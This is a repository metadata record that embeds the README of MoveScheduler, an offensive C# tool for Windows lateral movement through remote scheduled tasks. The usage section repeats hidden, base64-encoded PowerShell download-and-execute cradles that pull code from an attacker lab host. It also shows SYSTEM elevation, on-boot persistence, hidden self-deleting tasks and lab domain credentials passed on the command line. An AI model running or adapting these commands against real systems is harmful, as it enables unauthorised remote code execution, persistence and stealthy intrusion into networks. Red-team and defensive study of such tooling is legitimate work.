{"id":13839785,"url":"https://github.com/mez-0/MoveScheduler","last_synced_at":"2025-07-11T06:31:35.223Z","repository":{"id":217994042,"uuid":"290332073","full_name":"mez-0/MoveScheduler","owner":"mez-0","description":".NET 4.0 Scheduled Job Lateral Movement","archived":false,"fork":false,"pushed_at":"2020-08-25T21:58:49.000Z","size":17,"stargazers_count":85,"open_issues_count":0,"forks_count":13,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-08-05T17:24:14.649Z","etag":null,"topics":["lateral-movement","powershell","ps-scheduletask","task-scheduler","taskscheduler-library","wmi"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mez-0.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2020-08-25T21:56:02.000Z","updated_at":"2024-06-05T02:29:09.000Z","dependencies_parsed_at":"2024-01-23T12:19:09.302Z","dependency_job_id":"27d8083a-6804-42b6-8b1d-4b64e58c78de","html_url":"https://github.com/mez-0/MoveScheduler","commit_stats":null,"previous_names":["mez-0/movescheduler"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FMoveScheduler","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FMoveScheduler/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FMoveScheduler/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mez-0%2FMoveScheduler/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mez-0","download_url":"https://codeload.github.com/mez-0/MoveScheduler/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225700104,"owners_count":17510438,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["lateral-movement","powershell","ps-scheduletask","task-scheduler","taskscheduler-library","wmi"],"created_at":"2024-08-04T17:00:35.328Z","updated_at":"2024-11-21T08:31:32.271Z","avatar_url":"https://github.com/mez-0.png","language":"C#","funding_links":[],"categories":["C# #","C# (212)"],"sub_categories":[],"readme":"# MoveScheduler\n\n`MoveScheduler` is another weekend binge that focuses on lateral movement via several different methods of scheduling tasks:\n\n1. [Win32_ScheduledJob (C#)](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob)\n2. [Win32_Scheduledjob (PowerShell)](./PowerShell/Win32_ScheduledJob.ps1)\n3. [TaskScheduler Library](https://github.com/dahall/TaskScheduler)\n4. [PS_ScheduleTask](./PowerShell/PS_ScheduleTask.ps1)\n\nThese ~4 techniques have some pros and cons. Most notably, the TaskScheduler Library has the most pros. It allows for elevation to `NT AUTHORITY\\SYSTEM`, on event triggers, on boot persistence, being able to trigger the job as a different user and so on. Here is a short intro to the library:\n\n\u003e The Task Scheduler Managed Class Library provides a single assembly  wrapper for the 1.0 and 2.0 versions of Task Scheduler found in all  Microsoft operating systems post Windows 98. It simplifies the coding,  aggregates the multiple versions, provides an editor and allows for  localization support.\n\nThe [documentation](https://dahall.github.io/TaskScheduler/html/R_Project_TaskScheduler.htm) discusses this at length. The next competitor is the `Win32_ScheduleJob` class. This has two hard blockers.\n\n1. Has a character limit of approx. 260 characters for the command\n2. Relies on the `AT Protocol`.\n\nAs this is an older technique, it requires a registry key to enable the `AT Protocol`. This can be done with:\n\n```powershell\nGet-ItemProperty Registry::\\\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Configuration\\\"\n```\n\nWith that, ensure that `EnableAt` is set to `1`. Again, this is not preferable.\n\n`PS_ScheduleTask` is a PowerShell implementation:\n\n```powershell\n$ShedService = new-object -comobject \"Schedule.Service\"\n```\n\nTo accompany this, there is also a PowerShell implementation of the `Win32_ScheduledJob` class. Both available here:\n\n1. [PS_ScheduleTask](./PowerShell/PS_ScheduleTask.ps1)\n2. [Win32_Scheduledjob (PowerShell)](./PowerShell/Win32_ScheduledJob.ps1)\n\nOn the back of all that, `MoveScheduler` implements two of this methods; the TaskScheduler Library and the `Win32_ScheduledJob` class. \n\nThe `help`:\n\n```\nMoveScheduler 1.0.0.0\nCopyright ©  2020\n\n  -m, --method         Required. MoveScheduler method to execute with (Win32_ScheduledJob or SchedulerAPI)\n\n  -t, --target         Required. Target to create job on\n\n  -d, --domain         Domain name to use for authentication (defaults to current user)\n\n  -u, --username       Username to use for authentication (defaults to current user)\n\n  -p, --password       Password to use for authentication (defaults to current user)\n\n  -c, --command        Command to embed into job\n\n  --taskname           Name to give task (Defaults to random string) (SchedulerAPI Only)\n\n  --taskdescription    Description to give task (Defaults to random string) (SchedulerAPI Only)\n\n  --deleteafter        Delete job after X seconds when executed (default 10 seconds) (SchedulerAPI Only)\n\n  --time               Time until execution takes place (1 minute default)\n\n  --onstartup          Set an additional trigger for system startup (SchedulerAPI Only)\n\n  --wakeup             Wake computer up when job is due (SchedulerAPI Only)\n\n  --system             Elevate to SYSTEM (SchedulerAPI Only)\n\n  --diffdomain         Domain for different user to run job (SchedulerAPI Only)\n\n  --diffuser           User for different user to run job (SchedulerAPI Only)\n\n  --diffpassword       Password for different user to run job (SchedulerAPI Only)\n\n  --list               List scheduled tasks (SchedulerAPI Only)\n\n  --delete             Delete scheduled task (SchedulerAPI Only)\n\n  --help               Display this help screen.\n\n  --version            Display version information.\n```\n\nThe main flag here being `-m` and the corresponding method. Alot of the functionality above is only accessible via the Task Scheduler Library.\n\nThe `Win32_ScheduledJob` implementation is limited:\n\n```csharp\nobject[] cmdParams = { Command, StartTime, false, null, null, true, 100 };\n```\n\nThe syntax:\n\n```cpp\nuint32 Create(\n  [in]           string   Command,\n  [in]           datetime StartTime,\n  [in, optional] boolean  RunRepeatedly,\n  [in, optional] uint32   DaysOfWeek,\n  [in, optional] uint32   DaysOfMonth,\n  [in, optional] boolean  InteractWithDesktop,\n  [out]          uint32   JobId\n);\n```\n\nAnd thats it for the WMI class, moving onto TaskScheduler. \n\nWhen defining a task, it has several settings that are noteworthy:\n\n```csharp\nTaskDefinition taskDefinition = taskService.NewTask();\n\ntaskDefinition.RegistrationInfo.Description = TaskDescription;\ntaskDefinition.RegistrationInfo.Author = UserName;\ntaskDefinition.Settings.Hidden = true;\ntaskDefinition.Settings.StartWhenAvailable = true;\ntaskDefinition.Settings.Enabled = true;\ntaskDefinition.Settings.DeleteExpiredTaskAfter = TimeSpan.FromSeconds(DeleteAfter);\n```\n\nThe final setting here ensures that the job is deleted after execution, tidying it up. The only downside I found with this was the the job is always added to the root. However, their is functionality to create a new folder, so its likely that the job can be moved and I'm just blind.\n\nA pro tip I found whilst testing this, ensure that the potential time different is accounted for and use the `--time` flag.\n\nOther than that, the `help` is self-explanatory, but here is some examples:\n\n## TaskScheduler\n\nNote the `-m` flag as `SchedulerAPI`.\n\n**\u003cu\u003eCurrent Context:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.100 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA='\n```\n\n**\u003cu\u003eAuthenticate as:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.100 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA=' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M'\n```\n\n**\u003cu\u003eJob to run as a different user:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA=' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --diffdomain avatar.local --diffuser aang --diffpassword 'U5Tp3*neMk'\n```\n\n**\u003cu\u003eExecute as SYSTEM:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB2AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB2AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ASgA3AFUAeQBQAEEATQBmAFcALwByAHoAQQBpADMAMABKADQAdABvACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgAxADEAOQA6ADgAMAA4ADAALwBKADcAVQB5AFAAQQBNAGYAVwAnACkAKQA7AA==' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --system\n```\n\n**\u003cu\u003eList jobs:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --list\n```\n\n**\u003cu\u003eDelete job:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --list jobname\n```\n\n**\u003cu\u003eOn boot persistence:\u003c/u\u003e**\n\n```powershell\n.\\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB2AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB2AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ASgA3AFUAeQBQAEEATQBmAFcALwByAHoAQQBpADMAMABKADQAdABvACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgAxADEAOQA6ADgAMAA4ADAALwBKADcAVQB5AFAAQQBNAGYAVwAnACkAKQA7AA==' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --onstartup\n```\n\n## Win32_ScheduledJob\n\nNote the `Win32_ScheduledJob` `-m` flag. If a return value of `8` is set, thats likely due to AT not being enabled.\n\n```powershell\n.\\MoveScheduler.exe -m Win32_ScheduledJob -t 10.10.11.100 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA=' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M'\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmez-0%2FMoveScheduler","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmez-0%2FMoveScheduler","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmez-0%2FMoveScheduler/lists"}